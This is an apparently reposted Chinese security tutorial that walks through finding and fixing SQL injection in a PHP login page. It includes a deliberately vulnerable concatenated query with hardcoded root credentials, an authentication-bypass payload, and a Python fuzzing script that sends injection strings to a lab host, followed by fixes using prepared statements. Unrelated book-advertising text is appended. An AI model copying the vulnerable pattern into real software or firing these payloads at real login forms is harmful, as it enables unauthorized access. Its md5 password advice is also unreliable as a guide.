// 获取用户提交的登录请求数据
$username = $_POST['username'];
$password = $_POST['password'];
$vcode = $_POST['vcode'];
// 验证码的验证,OWASP-认证和授权失败
if($vcode !== '0000'){
die("vcode-error"); //向前端输出一条消息同时结束代码的运行
}
// 连接数据库
$conn = mysqli_connect('127.0.0.1','root','123456','learn') or die("数据库连接不成功!");
// 设置数据库的编码格式
mysqli_query($conn,"set names utf8;");
$sql = "select * from user where username ='$username' and password = '$password'";
$result = mysqli_query($conn,$sql); //$result称之为结果集
// 以下代码没用进行爆破的防护(OWASP-认证和授权失败)
if (mysqli_num_rows($result) == 1){
echo "login-pass<br/>";
echo "<script>location.href='welcome.php'</script>";
}
else{
// echo "login-fail<br/>";
echo "<script>location.href='login.html'</script>";
}
//关闭数据库
mysqli_close($conn)
// OWASP-失效访问控制
// 修复方法:在显示文本之前,先进行SESSION变量的验证
include "common.php";
//isset() 函数用于检测变量是否已设置并且非 NULL。
if (!isset($_SESSION['islogin']) or $_SESSION['islogin'] != 'true'){
die ("请登录后再访问此页面</br>");
}
echo '欢迎来到安全测试平台';
<b>Warning</b>: mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given in <b>/opt/lampp/htdocs/security/login.php</b>
select * from user where username ='$username' and password = '$password'
正常情况:select * from user where username ='root' and password = '$password'
攻击情况:select * from user where username =''' and password = '$password'
攻击Payload:
username:x' or userid=1#'
Post正文:
username=x' or+userid=1#'&password=111111&vcode=0000
select * from user where username ='x' or userid=1#'' and password = '$password'
/opt/lampp/htdocs/security/login.php(当前代码的绝对路径)
import requests
# 利用Python对PHP的登录界面进行Fuzz测试
def login_fuzz():
# 先使用单引号进行测试
url = 'http://192.168.72.148/security/login.php'
data = {'username': "'", 'password': '666666', 'vcode': '0000'}
resp = requests.post(url=url, data=data)
if 'Warning' in resp.text:
print("本登录功能可能存在SQL注入漏洞,可以尝试")
# 如果单引号存在利用嫌疑,则继续利用
payload_list = ["x' or id=1#", "x' or userid=1#", "x' or userid=2#"]
for username in payload_list:
data = {'username': username, 'password': '666666', 'vcode': '0000'}
resp = requests.post(url=url, data=data)
if "login-fail" not in resp.text:
print(f'登录成功,payload为:{data}')
else:
print('通过试探,发现后台界面对单引号不感兴趣;')
if __name__ == '__main__':
login_fuzz()
<?php
session_start();
function create_connection(){
// 连接数据库
$conn = mysqli_connect('127.0.0.1','root','123456','learn') or die("数据库连接不成功!");
// 设置数据库的编码格式
mysqli_query($conn,"set names utf8;");
mysqli_set_charset($conn,'utf8');
return $conn;
}
?>
// OWASP-失效访问控制
// 修复方法:在显示文本之前,先进行SESSION变量的验证
include "common.php";
//isset() 函数用于检测变量是否已设置并且非 NULL。
if (!isset($_SESSION['islogin']) or $_SESSION['islogin'] != 'true'){
die ("请登录后再访问此页面</br>");
}
echo '欢迎来到安全测试平台';
if (mysqli_num_rows($result) == 1){
echo "login-pass<br/>";
// 登录成功后,记录SESSION变量
$_SESSION['username'] = $username;
$_SESSION['islogin'] = 'true';
echo "<script>location.href='welcome.php'</script>";
}
$result = mysqli_query($conn,$sql) or die("SQL语句执行错误!") ;
$source = 'YikJiang';
echo md5($source);
//提示一:user表中password字段必须是32+位
//提示二:在用户注册时,必须使用md5函数将密码加密保存
$sql = "select * from user where username ='$username'";
$result = mysqli_query($conn,$sql) or die("SQL语句执行错误!") ; //$result称之为结果集
// 以下代码没用进行爆破的防护(OWASP-认证和授权失败)
//如果用户名真实存在,刚好找到一条,则再单独进行密码比较,即使用户名出现SQL注入漏洞,但是只要密码不正确,也无法登录
if (mysqli_num_rows($result) == 1){
// $row = mysqli_fetch_all($result,MYSQLI_ASSOC); //索引数组+下标数组
// $row = mysqli_fetch_row($result); //索引数组
$row = mysqli_fetch_assoc($result); //下标数组
// var_dump($row);
if ($password == $row['password']){
echo "login-pass<br/>";
// 登录成功后,记录SESSION变量
$_SESSION['username'] = $username;
$_SESSION['islogin'] = 'true';
echo "<script>location.href='welcome.php'</script>";
}
else{
echo "login-fail";
}
}
else{
echo "login-fail<br/>";
echo "<script>location.href='login.html'</script>";
}
select * from user where username ='$username' and password = '$password'
select * from user where username ='x' or userid=1#'' and password = '$password'
select * from user where username ='x' or userid=1#'' and password = '$password'
// 面向过程的方式
function create_connection(){
// 连接数据库
$conn = mysqli_connect('127.0.0.1','root','123456','learn') or die("数据库连接不成功!");
// 设置数据库的编码格式
mysqli_query($conn,"set names utf8;");
mysqli_set_charset($conn,'utf8');
return $conn;
}
// 将数据库查询的结果集中的数据取出,保存到一个数组当中
$row = mysqli_fetch_assoc($result);
//mysqli_fetch_all默认使用索引数组,也可以设定参数强制使用关联数组
// $row = mysqli_fetch_all($result,MYSQLI_ASSOC);
// $row = mysqli_fetch_row($result); //索引数组
function create_connection_oop(){
$conn = new mysqli('127.0.0.1','root','123456','learn') or die("数据库连接不成功!");
// 两种方法设置字符集
// 1、$conn->query("set names utf8;")
// 2、
$conn->set_charset('utf8');
return $conn;
}
// 执行SQL语句
function test_mysqli_opp(){
$conn = create_connection_oop();
$sql = "select * from user where userid < 6";
$result = $conn->query($sql);
//获取结果集行数
echo $result->num_rows."</br>";
// 获取结果集数组
// 使用关联数组
$rows = $result->fetch_all(MYSQLI_ASSOC);
// var_dump($rows);
// 遍历数组
foreach ($rows as $row){
echo "username:". $row['username'] . ",passwrod" . $row['password'] . "</br>";
}
}
$conn = create_connection_oop();
$sql = "select userid,username,password,role from user where username= ?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("s",$username); // 绑定查询参数
$stmt->bind_result($userid,$username2,$password2,$role); // 绑定结果参数
$stmt->execute(); // 执行
$stmt->store_result(); //调用结果
#开启
use mysql;
set global log_output = 'TABLE';
set global general_log = 'ON';
#确认
show variables like "general_log";
MySQLi的预处理功能同样支持面向过程和面向对象
除了MySQLi用于处理数据库外,在PHP中还有最传统的MySQL和PDO两种方式
// 利用Session保存图片验证码
session_start();
getCode();
// 生成验证码图片
function getCode($vlen=4 , $width = 80 , $height = 25){
// 定义响应类型为PNG图片
header("content-type:image/png");
// 生成随机验证码字符串,并将其保存于Session中
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
$vcode =substr(str_shuffle($chars),0,$vlen);
$_SESSION['vcode'] = $vcode;
// 定义图片并设置背景色RGB为100,200,100
$image = imagecreate($width,$height); // 创建一个画布
$imageColor = imagecolorallocate($image,100,200,100);
// 以RGB=0,0,0,的颜色回值黑色的文字
$color = imagecolorallocate($image,0,0,0);
imagestring($image,5,20,5,$vcode,$color); // 5:字体大小 20:距离x轴的距离 5:距离y轴的距离
// 生成随机位置的干扰点
for($i=0;$i<50;$i++){
imagesetpixel($image,rand(0,$width),rand(0,$height),$color);
}
// 输出图片验证码,并将其在内存的数据销毁
imagepng($image);
imagedestroy($image);
}
input[name='vcode']{
width: 200px;
}
<body style="background-image:url(./image/1.png); background-size:cover;">
<div class="login top-100 font-30">YikJiang</div>
<form action="login-3.php" method="post">
<div class="login">
<input type="text" name="username" />
</div>
<div class="login">
<input type="password" name="password" />
</div>
<div class="login">
<input type="text" name="vcode" />
<img src="vocde.php"/>
</div>
<div class="login">
<!--*type="submit" 代表按钮类型为提交表单-->
<button type="submit">登录</button>
</div>
</form>
<div class="footer top-100">版权所有©YikJiang 沪ICP备18011293号</div>
</body>
</html>
if(strtoupper($_SESSION['vcode']) != strtoupper($vcode) ){
die("vcode-error"); //向前端输出一条消息同时结束代码的运行
}
《C++码农日记(全程视频讲解)》共9章。第1章讲述程序员入职前的准备以及C++跨平台开发入门知识,着重介绍求职面试相关知识,以及Qt的安装配置、开发环境搭建、第三方跨平台库基础知识、配套资源等内容;第2~8章通过50多个实际案例讲述命令行程序的开发、DLL(动态链接库)的开发与第三方库的使用、跨平台文件操作、多线程和进程内(多线程间)通信、进程间通信、异步串口通信、数据库访问等常用开发技能;第9章通过一个数据中心的案例介绍C/S模式(Client/Server模式,客户端/服务器模式)软件的综合开发技能。本书提供的案例覆盖了C/S模式软件开发工作的常见场景。
原文始发于微信公众号(web安全工具库):SQL注入漏洞从发现到修复
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论